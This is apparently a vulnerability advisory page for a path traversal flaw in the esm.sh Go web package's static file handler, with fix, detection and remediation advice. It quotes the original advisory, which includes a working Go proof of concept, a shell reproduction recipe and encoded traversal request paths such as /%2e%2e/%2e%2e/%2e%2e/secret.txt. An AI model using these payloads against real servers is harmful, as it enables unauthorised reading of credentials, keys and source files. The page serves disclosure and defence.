NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Go

CVE-2026-102657: esm.sh: web.NewHandler allows arbitrary file read via encoded dot-segment path traversal

highCVSS 3.1 7.5GHSA-g3c2-rjq2-c763

The esm.sh Go module github.com/esm-dev/esm.sh/web, in versions before 0.2.0, serves static files with web.NewHandler. A request path with URL-encoded dot-segments such as %2e%2e escapes Config.AppDir, so an unauthenticated client can read any file the server process can read. The package data lists 0.2.0 as the fix.

Published Nov 9, 2026 · Analysis Nov 9, 2026

What an attacker can do

web.NewHandler is documented as a network-facing static file server. In web/handler.go the handler joins Config.AppDir with r.URL.Path using filepath.Join and opens the result, with no check that the path stays under AppDir. Go's ServeMux redirects a plain /../ path, but it decodes %2e%2e before the handler sees it, so /%2e%2e/secret.txt arrives as /../secret.txt and filepath.Join resolves it to the parent folder.

The reporter's proof of concept registers the handler exactly as the README shows, with Dev set to false, and a request to /%2e%2e/%2e%2e/%2e%2e/secret.txt returned a file located above the app directory with status 200. A control request for /secret.txt did not return it.

No credentials are needed. The attacker gets read access to files that the process can open, outside the web root: source code, configuration, build output, private keys and local credentials. Only file disclosure was confirmed. No write or code execution was shown. Applications that embed the web package are at risk, not the hosted esm.sh CDN service as such.

Who is affected

The Go module github.com/esm-dev/esm.sh/web before 0.2.0, in applications that expose web.NewHandler to a network. The reporter reproduced it with Dev set to false. Check which version your build uses:

go list -m github.com/esm-dev/esm.sh

Also search your code for web.NewHandler and check the AppDir path, and what sits in the parent directories that the process can read.

github.com/esm-dev/esm.sh/web

Ecosystem
Go
Affected
< 0.2.0
Fixed in
0.2.0
Check
go list -m github.com/esm-dev/esm.sh/web

How to fix it

Update the module to 0.2.0 or later:

go get github.com/esm-dev/esm.sh@latest

The fix is in pull request 1376, "fix(web): prevent path traversal outside app directory", which validates request paths. The page for that pull request does not show the diff. The v0.2.0 release notes do not mention the fix, so the 0.2.0 version rests on the package data. A third-party template suggests the related esm.sh release v137_7, so check against the esm.sh release notes. The advisory suggests normalising paths and rejecting non-local ones with filepath.IsLocal. As a stopgap, put a reverse proxy in front that rejects %2e%2e in paths.

How to tell if you were hit

Search access logs for request paths containing %2e%2e, %2E%2E or similar encoded dot-segments, especially repeated ones, followed by file names such as .env, config files or key files. Responses with status 200 to such requests mean a file was returned. Check whether sensitive files sit in the parent directories of AppDir and that the process user can read them. Rotate secrets that were readable.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The documented web.NewHandler static file server can read files outside Config.AppDir when the request path contains URL-encoded dot-segments such as %2e%2e. Go's ServeMux redirects plain /../ paths, but it passes encoded dot-segments to the handler after decoding r.URL.Path. The handler then calls filepath.Join(s.config.AppDir, r.URL.Path) without checking that the result remains under AppDir, allowing unauthenticated arbitrary file reads with the server process privileges.

Details

web/README.md:34-40 documents a network-facing setup:

http.Handle("GET /", web.NewHandler(web.Config{
  AppDir: "/path/to/webapp",
  Fallback: "/index.html",
  Dev: false,
}))
log.Fatal(http.ListenAndServe(":8080", nil))

In web/handler.go:62-75, the handler takes r.URL.Path and joins it directly with s.config.AppDir:

pathname := r.URL.Path
filename := filepath.Join(s.config.AppDir, pathname)
fi, err := os.Lstat(filename)

Later the same resolved filename is opened and copied to the response in web/handler.go:150-166 for non-HTML/static files. There is no filepath.IsLocal, cleaned-relative-path, absolute-root prefix, or symlink-aware containment check before opening the file.

A plain /../secret.txt path is redirected by Go's ServeMux, but an encoded path such as /%2e%2e/secret.txt is decoded into r.URL.Path == "/../secret.txt" and reaches the handler. On Linux, filepath.Join("/tmp/root/app", "/../secret.txt") resolves to /tmp/root/secret.txt, outside the configured app directory.

Source-to-sink chain:

Unauthenticated HTTP request path containing URL-encoded dot-segments
-> net/http decodes path into r.URL.Path
-> documented ServeMux setup passes encoded dot-segment path to web.NewHandler
-> web/handler.go joins Config.AppDir with r.URL.Path
-> os.Lstat/os.Open operate on the escaped path
-> io.Copy returns file contents to the attacker

False-positive checks performed:

  • Plain dot-segment paths are redirected by http.ServeMux, but encoded dot-segments are not blocked and reach the handler.
  • The PoC uses the documented http.Handle("GET /", web.NewHandler(...)) setup, not a custom bypass of ServeMux.
  • A control request for /secret.txt does not read the outside file; the disclosure requires encoded traversal segments.
  • The issue is independent of Dev/HMR; it reproduces with Dev: false.
  • The root cause appears in other handler paths that join app paths, but the static file read path is sufficient to prove arbitrary file disclosure.

Candidate score: 18/18 under the local audit scoring rubric. The handler is documented for network-facing use, the attacker directly controls the request path, the path reaches os.Open, file disclosure was reproduced locally, and no root containment mitigation is present.

PoC

This safe local proof creates an application directory and a sibling secret file outside it, registers the handler exactly as documented, and requests the sibling file through encoded .. path segments.

package main

import (
    "fmt"
    "net/http"
    "net/http/httptest"
    "os"
    "strings"

    "github.com/esm-dev/esm.sh/web"
)

func main() {
    mux := http.NewServeMux()
    mux.Handle("GET /", web.NewHandler(web.Config{AppDir: os.Args[1], Dev: false}))
    for _, target := range []string{
        "http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt",
        "http://example/secret.txt",
    } {
        rr := httptest.NewRecorder()
        req := httptest.NewRequest("GET", target, nil)
        mux.ServeHTTP(rr, req)
        fmt.Printf("%s => status=%d location=%q contains_secret=%v body=%q\n",
            target,
            rr.Code,
            rr.Header().Get("Location"),
            strings.Contains(rr.Body.String(), "ancestor-secret-marker"),
            rr.Body.String(),
        )
    }
}

Maintainer-runnable clean-checkout recipe:

tmp=$(mktemp -d)
mkdir -p "$tmp/root/a/b/app"
printf 'ancestor-secret-marker' > "$tmp/root/secret.txt"
printf '<h1>inside</h1>' > "$tmp/root/a/b/app/index.html"
cat > "$tmp/poc.go" <<'EOF'
[place the PoC above here]
EOF
go run "$tmp/poc.go" "$tmp/root/a/b/app"
rm -rf "$tmp"

Observed vulnerable output in this environment:

http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker"
http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>"

Final re-check after drafting reproduced the same output:

http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker"
http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>"

Additional parser/control evidence observed locally:

http://example/../secret.txt => status=307 loc="/secret.txt"
handler Path="/../secret.txt" RawPath="/%2e%2e/secret.txt"
http://example/%2e%2e/secret.txt => status=204 loc=""
http://example/a/../../secret.txt => status=307 loc="/secret.txt"

This confirms that the documented ServeMux setup redirects plain traversal paths but lets encoded dot-segments reach the handler.

Impact

An unauthenticated remote attacker can read files that are outside the configured web application directory but readable by the server process. Depending on deployment layout and process privileges, this can disclose source files, configuration files, environment-adjacent files, build artifacts, local credentials, private keys, or other application secrets located in ancestor or sibling directories.

The impact is limited to file disclosure in the confirmed path. No write primitive or code execution was confirmed in this audit.

Suggested remediation

Normalize request paths into a cleaned relative path before joining them with AppDir, and reject any path that is not local. A robust pattern is:

  • reject paths containing NUL bytes,
  • use path.Clean("/" + r.URL.EscapedPath()) or an equivalent URL-path canonicalization step,
  • trim the leading slash and reject non-local paths with filepath.IsLocal,
  • join only the validated relative path to AppDir,
  • optionally compare absolute cleaned paths to ensure the result remains inside the absolute app root,
  • consider symlink policy explicitly if symlinks inside AppDir should not escape the app root.

Add regression tests for /%2e%2e/secret.txt, multi-level encoded traversal, plain /../ behavior, and normal in-app file serving.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Credited to sondt99.

Questions

Does plain /../ work against this handler?

No. Go's ServeMux redirects plain dot-segments. The bypass uses URL-encoded ones such as %2e%2e, which reach the handler after decoding.

Which version fixes CVE-2026-102657?

The package data lists 0.2.0 for github.com/esm-dev/esm.sh/web. The release notes do not describe the fix, so verify against the esm.sh repository.

Does it need authentication or Dev mode?

Neither. The attack is unauthenticated, and the reporter reproduced it with Dev set to false.

Is it exploited in the wild?

No source we read reports exploitation, and the entry has no CISA KEV record. A proof of concept is in the advisory.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology